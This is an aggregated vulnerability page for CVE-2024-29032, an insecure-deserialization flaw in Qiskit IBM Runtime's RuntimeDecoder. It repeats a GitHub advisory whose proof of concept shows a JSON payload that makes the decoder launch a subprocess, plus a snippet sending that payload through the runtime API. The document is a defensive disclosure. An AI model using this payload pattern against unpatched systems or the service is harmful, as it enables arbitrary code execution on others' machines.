Every CVE Search/ Get API key

CVE-2024-29032

`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code

5.3 MediumFix available

Qiskit IBM Runtime is an environment that streamlines quantum computations and provides optimal implementations of the Qiskit quantum computing SDK. Starting in version 0.1.0 and prior to version 0.21.2, deserializing json data using qiskit_ibm_runtime.RuntimeDecoder can lead to arbitrary code execution given a correctly formatted input string. Version 0.21.2 contains a fix for this issue.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
Low

Exploit likelihood

0.37%Up 0.3 points since Mar 21, 2024
90%50%10%1%

What each source reports

CVE List Score used 5.3

`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code

Qiskit IBM Runtime is an environment that streamlines quantum computations and provides optimal implementations of the Qiskit quantum computing SDK. Starting in version 0.1.0 and prior to version 0.21.2, deserializing json data using qiskit_ibm_runtime.RuntimeDecoder can lead to arbitrary code execution given a correctly formatted input string. Version 0.21.2 contains a fix for this issue.

Record
CVE-2024-29032
CVSS 3.1
5.3 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Weakness
CWE-502
Updated
2026-11-02
EUVDEUVD-2024-1034 5.3

Qiskit IBM Runtime is an environment that streamlines quantum computations and provides optimal implementations of the Qiskit quantum computing SDK. Starting in version 0.1.0 and prior to version 0.21.2, deserializing json data using qiskit_ibm_runtime.RuntimeDecoder can lead to arbitrary code execution given a correctly formatted input string. Version 0.21.2 contains a fix for this issue.

Record
EUVD-2024-1034
CVSS 3.1
5.3 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Updated
2026-11-03
GitHub AdvisoriesGHSA-x4x5-jv3x-9c7m 5.3

`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code

Summary

deserializing json data using qiskit_ibm_runtime.RuntimeDecoder can be made to execute arbitrary code given a correctly formatted input string

Details

RuntimeDecoder is supposed to be able to deserialize JSON strings containing various special types encoded via RuntimeEncoder. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159

PoC

malicious_data = {
    "__type__": "settings",
    "__module__": "subprocess",
    "__class__": "Popen",
    "__value__": {
        "args": ["echo", "hi"]
    },
}
json_str = json.dumps(malicious_data)

_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints "hi" to the terminal

(where obviously "echo hi" can be replaced with something much more malicious)

notably the following also makes it through the runtime API, with malicious_data serialized client-side via RuntimeEncoder (and therefore presumably deserialized server-side via RuntimeDecoder?)

service = qiskit_ibm_runtime(<ibm_cloud_credentials>)
job = service.run("qasm3-runner", malicious_data)
print(job.status())  # prints "JobStatus.QUEUED"

Impact

i don't know if qiskit_ibm_runtime.RuntimeDecoder is used server-side so this may or may not be a serious vulnerability on your end (however it's definitely a security hole for anyone using the library to deserialize third-party data)

Record
GHSA-x4x5-jv3x-9c7m
CVSS 3.1
5.3 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Weakness
CWE-502
Updated
2026-11-02
NVD 5.3

Qiskit IBM Runtime is an environment that streamlines quantum computations and provides optimal implementations of the Qiskit quantum computing SDK. Starting in version 0.1.0 and prior to version 0.21.2, deserializing json data using qiskit_ibm_runtime.RuntimeDecoder can lead to arbitrary code execution given a correctly formatted input string. Version 0.21.2 contains a fix for this issue.

Record
CVE-2024-29032
CVSS 3.1
5.3 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
OSV 5.3

`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code

Qiskit IBM Runtime is an environment that streamlines quantum computations and provides optimal implementations of the Qiskit quantum computing SDK. Starting in version 0.1.0 and prior to version 0.21.2, deserializing json data using qiskit_ibm_runtime.RuntimeDecoder can lead to arbitrary code execution given a correctly formatted input string. Version 0.21.2 contains a fix for this issue.

Record
CVE-2024-29032
CVSS 3.1
5.3 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Weakness
CWE-502
Updated
2026-11-02
OSVGHSA-x4x5-jv3x-9c7m 5.3

`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code

Summary

deserializing json data using qiskit_ibm_runtime.RuntimeDecoder can be made to execute arbitrary code given a correctly formatted input string

Details

RuntimeDecoder is supposed to be able to deserialize JSON strings containing various special types encoded via RuntimeEncoder. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159

PoC

malicious_data = {
    "__type__": "settings",
    "__module__": "subprocess",
    "__class__": "Popen",
    "__value__": {
        "args": ["echo", "hi"]
    },
}
json_str = json.dumps(malicious_data)

_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints "hi" to the terminal

(where obviously "echo hi" can be replaced with something much more malicious)

notably the following also makes it through the runtime API, with malicious_data serialized client-side via RuntimeEncoder (and therefore presumably deserialized server-side via RuntimeDecoder?)

service = qiskit_ibm_runtime(<ibm_cloud_credentials>)
job = service.run("qasm3-runner", malicious_data)
print(job.status())  # prints "JobStatus.QUEUED"

Impact

i don't know if qiskit_ibm_runtime.RuntimeDecoder is used server-side so this may or may not be a serious vulnerability on your end (however it's definitely a security hole for anyone using the library to deserialize third-party data)

Record
GHSA-x4x5-jv3x-9c7m
CVSS 3.1
5.3 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Weakness
CWE-502
Updated
2026-11-02
OSVPYSEC-2026-1858 5.3

`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code

Summary

deserializing json data using qiskit_ibm_runtime.RuntimeDecoder can be made to execute arbitrary code given a correctly formatted input string

Details

RuntimeDecoder is supposed to be able to deserialize JSON strings containing various special types encoded via RuntimeEncoder. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159

PoC

malicious_data = {
    "__type__": "settings",
    "__module__": "subprocess",
    "__class__": "Popen",
    "__value__": {
        "args": ["echo", "hi"]
    },
}
json_str = json.dumps(malicious_data)

_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints "hi" to the terminal

(where obviously "echo hi" can be replaced with something much more malicious)

notably the following also makes it through the runtime API, with malicious_data serialized client-side via RuntimeEncoder (and therefore presumably deserialized server-side via RuntimeDecoder?)

service = qiskit_ibm_runtime(<ibm_cloud_credentials>)
job = service.run("qasm3-runner", malicious_data)
print(job.status())  # prints "JobStatus.QUEUED"

Impact

i don't know if qiskit_ibm_runtime.RuntimeDecoder is used server-side so this may or may not be a serious vulnerability on your end (however it's definitely a security hole for anyone using the library to deserialize third-party data)

Record
PYSEC-2026-1858
CVSS 3.1
5.3 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
qiskit-ibm-runtime
PyPI
0.1.0 up to 0.21.2
0.21.2
qiskit-ibm-runtime
PyPI
0.1.0 up to 0.21.2, plus listed versions
0.1.10.10.00.11.00.11.10.11.2
Show 33 moreShow less
0.11.30.12.00.12.10.12.20.13.00.14.00.15.00.15.10.16.00.16.10.17.00.18.00.19.00.19.10.2.00.20.00.21.00.21.10.3.00.4.00.5.00.6.00.6.10.6.20.7.00.7.0rc10.7.0rc20.8.00.9.00.9.10.9.20.9.30.9.4
0.21.2

History

History
RecordedChangedSources
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-29032 is a medium vulnerability (CVSS 5.3) in Ibm Qiskit Ibm Runtime, published March 20, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.37%, the 31st percentile. Fixed in qiskit-ibm-runtime 0.21.2.

References

MoveEnter Open